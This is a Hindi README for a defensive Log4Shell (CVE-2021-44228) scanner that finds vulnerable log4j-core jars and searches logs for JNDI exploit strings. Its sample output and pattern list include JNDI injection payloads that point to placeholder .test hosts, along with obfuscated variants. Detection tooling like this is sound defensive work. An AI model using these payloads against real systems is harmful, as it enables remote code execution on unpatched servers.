
हल्का स्कैनर जो फ़ाइलसिस्टम ट्री में कमज़ोर Log4j संस्करणों और Log4Shell (CVE-2021-44228) संकेतकों का पता लगाता है।
Log4Shell के लिए एक निर्भरता-मुक्त, रक्षात्मक स्कैनर — लॉग और कॉन्फ़िग में संवेदनशील log4j-core जार और JNDI शोषण पैटर्न ढूँढता है।
अपने CERT-In रोटेशन के दौरान मैंने थ्रेट पहचान, रोकथाम, उपचार और थ्रेट हंटिंग पर काम किया — ठीक वही वर्कफ़्लो जो Log4Shell (CVE-2021-44228) ने दिसंबर 2021 में बड़े पैमाने पर माँगा था: पूरे fleet में हर संवेदनशील log4j-core आर्टिफैक्ट ढूँढना, और ${jndi:...} शोषण प्रयासों के लिए लॉग की खोज करना। यह स्कैनर उस रक्षात्मक वर्कफ़्लो को एक एकल, पोर्टेबल, standard-library Python स्क्रिप्ट में पुनर्निर्मित करता है, जिसे निरीक्षण किए जाने वाले होस्ट पर कुछ भी इंस्टॉल करने की आवश्यकता नहीं होती।
.jar / .war / .ear फ़ाइलों के लिए डायरेक्टरी ट्री को ट्रैवर्स करता है।pom.properties और MANIFEST.MF को zipfile के साथ पढ़ता है, फ़ाइलनाम पर फॉलबैक करता है; वास्तविक log4j-core को असंबंधित जार से अलग करता है।${jndi:ldap:// और सामान्य अस्पष्टीकरणों (${${lower:j}ndi:…}, ब्रेस-स्प्लिट j}ndi:, ${::-j}) के लिए लॉग/कॉन्फ़िग/सोर्स को grep करता है।JndiLookup.class हटाएँ, साथ ही egress-मॉनिटरिंग मार्गदर्शन।log4j-core-2.14.1.jar (log4j-core pom.properties वाला वास्तविक zip), एक पैच किया हुआ 2.17.1.jar, एक असंबंधित जार, और JNDI पेलोड वाला एक लॉग शामिल है।--demo सैंपल ट्री को end-to-end बनाता और स्कैन करता है।os, re, zipfile)। कोई निर्भरता नहीं।Python 3 (केवल standard library: argparse, os, re, zipfile)।
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# no dependencies to install
बंडल किए गए सैंपल ट्री पर डेमो चलाएँ:
python log4shell_scan.py --demo
अपेक्षित आउटपुट (संक्षिप्त):
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
कोई भी डायरेक्टरी स्कैन करें जिसका मूल्यांकन करने के लिए आप अधिकृत हैं:
python log4shell_scan.py /path/to/deployed/app
प्रोसेस का exit code 1 होता है जब कुछ भी संवेदनशील या संदिग्ध पाया जाता है, 0 जब सब क्लीन हो — CI/pipeline gating के लिए सुविधाजनक।
सैंपल ट्री को किसी भी समय पुनर्निर्मित करें:
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # scanner + sample-tree builder + CLI
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # fake VULNERABLE jar (real zip)
│ │ ├── log4j-core-2.17.1.jar # patched jar
│ │ └── commons-lang3-3.12.0.jar # unrelated jar
│ ├── logs/
│ │ └── access.log # contains JNDI payloads
│ └── config.properties # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore
केवल शैक्षिक, रक्षात्मक और अधिकृत उपयोग के लिए। इसे केवल उन्हीं सिस्टम और आर्टिफैक्ट पर चलाएँ जिनका मूल्यांकन करने की आपके पास अनुमति है। स्कैनर केवल पढ़ता और पैटर्न-मैच करता है — यह कभी कुछ execute या exploit नहीं करता। बंडल किए गए सैंपल जार निर्मित प्लेसहोल्डर हैं, वास्तविक Apache आर्टिफैक्ट नहीं, और सभी पेलोड होस्टनाम गैर-रूटेबल .test नामों का उपयोग करते हैं। संस्करण-से-CVE मैपिंग केवल दिशा-निर्देश के लिए दी गई है; आधिकारिक CVE और Apache Log4j सुरक्षा एडवाइज़री के विरुद्ध सत्यापित करें।